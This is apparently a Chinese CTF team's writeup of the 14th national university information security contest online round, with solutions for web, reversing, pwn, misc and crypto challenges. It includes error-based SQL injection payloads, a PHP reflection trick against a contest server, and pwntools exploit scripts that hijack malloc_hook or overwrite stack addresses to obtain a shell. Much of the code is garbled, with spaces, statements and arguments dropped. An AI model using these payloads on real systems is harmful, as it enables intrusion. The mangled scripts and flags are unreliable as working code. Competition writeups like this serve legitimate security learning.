红色代码战队 第十四届全国大学生信息安全竞赛-线上赛Writeup
作者:BL、Evan、PYozo、末初 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
白帽子社区渗透团队、CTF战队(红色代码战队)招人中,有兴趣加入请添加微信:


打开页面得到一个登入框




security
admin')and (select id from flag)--+
原理就是在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名, 在使用 using 函数依次爆出其他字段名,这里通过两次得到了 id 跟 no 这个列
admin')and(select*from(select*fromflagasajoinflagasbusing(id,no))asc)--+查询得到第 3个列 03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``

现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32 位需要使用函数去获取后半部分,这里得到前32位
CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-J admin')and updatexml(1,concat(0x1,((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag))),1)--+

这里使用 mid 取出后面的部分
admin')and updatexml(1,concat(0x1,mid((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag),10,32)),1)--+

CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JwK-a5sVT-0qwD2-Ys9hF-JchKZ-}拼接得到最终
flag :CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JchKZ-}

流程分析
直接打开JEB看一看,查看MainActivity函数,发现checkFlag没有




exp
#include<iostream>#include<Windows.h>using namespace std;UINT sz=0;unsigned char ida_chars[] ={0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84,0x65, 0xC2,0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E,0x36, 0x4F,0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D,0x42, 0xC7,0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98,0x3F};unsigned char S[256];unsigned char T[256];string key = "12345678";PVOID ReadFileFunc(){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);sz = GetFileSize(hFile, 0);PVOID buf = malloc(sz);DWORD rsize = 0;buf, sz, &rsize, 0);CloseHandle(hFile);return buf;}void decrypt2(){i=0;i<39;i+=8)for (int j = 0; j < 8; j++){if (i + j == 39)break;+ j] = ida_chars[i + j] ^ key[j];}for (int i = 0; i < 39; i += 3){+ 1] = ida_chars[i + 1] ^ida_chars[i];+ 2] = ida_chars[i + 2] ^ida_chars[i + 1];= ida_chars[i] ^ ida_chars[i +2];}}void R1(){for (int i = 0; i != 256; i++){= i;= key[i % 8];}int v9 = 0;for (int i = 0; i != 256; i++){int tmp = S[i];v9 = (tmp + v9 + T[i]) % 256;= S[v9];= tmp;}}void decrypt1(){R1();int count = 0x27;int i = 0;int v4 = 0;int v3 = 0;int v5=0;int index=0;while (count){--count;v4 = (v4 + 1) % 256;v5 = S[v4];v3 = (v3 + S[v4]) % 256;= S[v3];= v5;^= S[(v5 + S[v4])%256];}for (int i = 0; i < 0x27; i++)cout << (char)ida_chars[i];}VOID WriteFileFunc(PVOID buf){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);DWORD rsize;buf, sz, &rsize, 0);}int main(){/*PVOID p = ReadFileFunc();decrypt((PCHAR)p);WriteFileFunc(p);*/key=decrypt1();<< key;decrypt2();decrypt1();
flag为CISCN{6654d84617f627c88846c172e0f4d46c}

本题知识点
PHP 反射,ReflectionMethod 构造 User 类中的函数方法,再通过getDocComment 获取函数的注释
题目打开只有一个500 报错

你知道开发一个 php 程序很重要的东西是什么吗( 备份) 扫描源代码文件, 发现 index.php.swo 备份文件:
http://124.70.27.139:26380/.index.php.swo
$rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"];$method= new $rc($ra, $rb); var_dump($method->$rd());

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocCommenthttp://124.70.27.139:26380/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocCommentflag CISCN{io0P0-UDS1r-Unzhh-051Rs-2auEk-}


漏洞分析
libc本部是libc-2.27 1.3是有key的保护的,但有uaf漏洞
这样的话,我们只要修改key,就可以接着free,来double free tache
解题思路
通过uaf和double free先leak heap的地址,再到heap中 fakechunk一个unsorted bin的堆,再接着
double free tache,修改其fd指针,让其指向fake chunk,再释放这个unsortedbin chunk,然后leak
libc后,直接double free tache,劫持 malloc_hook,来getshell
exp
from pwn import *context.arch = 'amd64'context.log_level='debug'p=process('./pwn')libc=ELF('./libc-2.27.so')#p=remote(124.70.48.138',23622)def add(idx,size):p.recvuntil('Your choice: ')p.sendline('1')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Size: ')p.sendline(str(size))def edit(idx,content):p.recvuntil('Your choice: ')p.sendline('2')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Content: ')p.sendline(content)p.interactive()
得到flag
CISCN{bD3W5-OYKJ5-A4LPk-yh84S-n2BQb-}

from pwnimport * context.log_level = Truep = remote(" 124.70.48.138", 23675)def menu(choice):io.recvuntil("choice: ") io.sendline(str(choice)) menu(2) io.recvuntil("Index: ") io.sendline("256") menu(2) io.recvuntil("Index: ") io.sendline("256") menu(1) io.recvuntil("Index: ")io.send(b "\xe7\xff\xff\xff\xff\xff\xff\xff") io.recvuntil("Result: ")libc_base = int(io.recvline()[: -1], 16) - 0x80aa0 log.info("libc_base: " + hex(libc_base)) environ_addr = 0x3ee098 +libc_baseexit_hook = libc_base + 0x619f68 gadget_addr = libc_base + 0x10a41clog.info("environ_addr: " + hex(environ_addr)) menu(1)io.recvuntil("Index: ") io.send(b "\xf5\xff\xff\xff\xff\xff\xff\xff") io.recvuntil("Result: ")base_addr = int(io.recvline()[: -1], 16) - 0x202008 log.info("base_addr: " + hex(base_addr))menu(1) io.recvuntil("Index: ")io.send(p64((environ_addr - base_addr - 0x202060) // 8)) io.recvuntil("Result: ")stack_addr = int(io.recvline()[: -1], 16) - (0x7fffffffdea8 - 0 x7fffffffdd88) log.info("stack_addr: " + hex(stack_addr)) menu(2) io.recvuntil("Index: ") io.sendline(str((stack_addr - (base_addr +0x202060)) // 8))io.send(p64(gadget_addr)) io.interactive()
CISCN{XIli4-6MXJq-gSgfL-w4rZb-2RMJT-}
根据链接:
https://www.jianshu.com/p/42cb026ce541
使用clang命令编译baby.bc文件:clang baby.bc -o baby
得到文件,放入ida中找到main函数,查看伪c代码,发现了docheck函数双击跳转。
然后编写脚本:
EXP:Python
from z3 import *from hashlib import md5r = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00,0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00,0x01, 0x00]]c = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00,0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00,0x00, 0x01]]s = Solver()m = [[Int("x%d%d"%(i, j)) for iin range(5)] for j in range(5)]print(m)s.add(m[2][2] == 4)s.add(m[3][3] == 3)for i in range(5):forj in range(5):s.add(m[i][j] >= 1)s.add(m[i][j] <= 5)for i in range(5):forj in range(5):for k in range(j):s.add(m[i][j] != m[i][k])for j in range(5):fori in range(5):for k in range(i):s.add(m[i][j]!= m[k][j])for i in range(5):forj in range(4):if r[i][j] == 1:s.add(m[i][j] > m[i][j+1])elif r[i][j] == 2:s.add(m[i][j] < m[i][j+1])for i in range(4):forj in range(5):if c[i][j] == 2:s.add(m[i][j] > m[i+1][j])elif c[i][j] == 1:s.add(m[i][j] < m[i+1][j])answer = s.check()print(answer)if answer == sat:print(s.model())m =s.model()F =[]fori in m:for j in i:F.append(m[j].as_long())fori in range(len(F)):F[i] += 0x30F[12] = 0x30F[18] = 0x30F =bytes(F)print(F)print(md5(F).hexdigest())
即可得出flag

隔空传话
利用在线网站
http://www.sendsms.cn/pdu/
手动解出短信加密,拿到前三条提示
flag第一部分为手机号前八位
第二部分为后面发送的数据
用python分割数据包,利用Excl表格进行排序后发现第一条发送的数据有png头,拼接所有数据改宽以后发现一张图片

利用手机号前八位和图片内容拼接得到flag
**GIF**
下载附件发现是gif图

import osfrom PIL import Imagedef analyseImage(path):im = Image.open(path)results = {'size': im.size,'mode': 'full',}try:while True:if im.tile:tile = im.tile[0]update_region = tile[1]update_region_dimensions =update_region[2:]if update_region_dimensions !=im.size:results['mode'] = 'partial'breakim.seek(im.tell() + 1)except EOFError:passreturn resultsdef processImage(path):mode = analyseImage(path)['mode']im = Image.open(path)i= 0p= im.getpalette()last_frame = im.convert('RGBA')try:while True:print("saving %s (%s) frame %d, %s %s" % (path, mode, i,im.size, im.tile))if not im.getpalette():im.putpalette(p)new_frame = Image.new('RGBA', im.size)if mode == 'partial':new_frame.paste(last_frame)new_frame.paste(im, (0, 0), im.convert('RGBA'))new_frame.save('res/%d.png' % i, 'PNG')i += 1last_frame = new_frameim.seek(im.tell() + 1)except EOFError:passdef main():processImage('res.gif')if __name__ == "__main__":main()
得到382张图

from PIL import Imagenp = Image.new('L', (400, 400))for i in range(382):p= Image.open(str(i) + '.png').convert("RGB")A, B = p.sizefor y in range(B):for x in range(A):if p.getpixel((x, y)) == (233, 233, 233):np.putpixel((y, x), 255)np.save('res/' + str(i) + '.png')
将图片保存在一个文件夹里利用脚本可看见斗蓬上有几个小点,联想到图片,这不是R.G.B嘛
获取小点的RGB值为(233,233,233),再按照顺序得到出现的字符解码为小写就为flag

参考链接:
https://weichujian.github.io/2020/05/27/rsa%E5%B7%B2%E7%9F%A5%E9%AB%98%E4%BD%8D%E6%94%BB%E5%87%BB1/
https://github.com/comydream/CTF-RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0/copperSmith%E9%83%A8%E5%88%86%E4%BF%A1%E6%81%AF%E6%94%BB%E5%87%BB/rsa2.sage
脚本如下:
p3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147pbits = 512kbits = pbits - p3.nbits()print p3.nbits()p3 = p3 << kbitsPR.<x> = PolynomialRing(Zmod(n))f = x + p3x0 = f.small_roots(X=2^kbits, beta=0.4)[0]print "x: %s" %hex(int(x0))p = p3+x0print "p: ", hex(int(p))assert n % p == 0q = n/int(p)print "q: ", hex(int(q)
后面就是常规的RSA解密,得到:
b’\nO wild West Wind, thou breath of Autumn's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n’Md5加密得到flag。
flag:CISCN{3943e8843a19149497956901e5d98639}